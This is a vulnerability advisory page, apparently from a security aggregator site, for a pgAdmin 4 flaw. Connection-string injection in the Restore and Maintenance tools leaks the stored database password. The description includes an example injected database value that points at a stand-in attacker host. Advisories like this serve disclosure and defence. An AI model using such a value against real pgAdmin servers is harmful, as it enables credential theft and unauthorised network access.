Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2026-86862— pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools

Quick assessment

Affected
pgadmin.org pgAdmin 4
Exploitation
No confirmed in-the-wild exploitation; assess based on exposure
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.

pgAdmin 4 的“还原”和“维护”工具将客户端提供的“database”字段直接作为 选项传递给 和 。由于 libpq 会将包含等号的数据库名展开为完整的连接字符串,且该值中嵌入的连接参数会覆盖 pgAdmin 提供的 和 参数。因此,类似 这样的值会将工具重定向到由请求用户选择的服务器,而非操作原本针对的服务器。此外,由于 pgAdmin 在执行工具前会将解密后的存储数据库密码导出到 环境变量中,重定向后的连接会将该凭据呈现给由攻击者指定的端点,从而可能被其捕获。这种重定向还允许从 pgAdmin 主机发

CVSS 6.5 · Medium

Possible ATT&CK Techniques 1 AI

T1078 · Valid Accounts
Get alerts for future matching vulnerabilities Log in to subscribe

I. Basic Information for CVE-2026-86862

Vulnerability Information

Have questions about the vulnerability? See if Shenlong's analysis helps!
View Shenlong Deep Dive ↗

Although we use advanced large model technology, its output may still contain inaccurate or outdated information.Shenlong tries to ensure data accuracy, but please verify and judge based on the actual situation.

Vulnerability Title
pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools
Source: CVE Program / CVE List V5
Vulnerability Description
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
Source: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Source: CVE Program / CVE List V5
Vulnerability Type
参数注入或修改
Source: CVE Program / CVE List V5

Affected Products

Vendor Product Affected Versions CPE Subscribe
pgadmin.org pgAdmin 4 0 ~ 9.18 -

II. Public POCs for CVE-2026-86862

# POC Description Source Link Shenlong Link
AI-Generated POC Premium

No public POC found.

Login to generate AI POC

III. Intelligence Information for CVE-2026-86862

登录查看更多情报信息。

Vendor Pages for CVE-2026-86862 (1)

Same Patch Batch · pgadmin.org · 2026-09-17 · 4 CVEs total

CVE-2026-86863 9.8 CRITICAL pgAdmin 4: Authentication bypass via a client-controlled identity header in Webserver auth
CVE-2026-86864 8.8 HIGH pgAdmin 4: Argument and connection-string injection via the database field in the Backup t
CVE-2026-86861 5.9 MEDIUM pgAdmin 4: File Manager save_file writes through a symbolic link planted after the contain

IV. Related Vulnerabilities

V. Comments for CVE-2026-86862

No comments yet


Leave a comment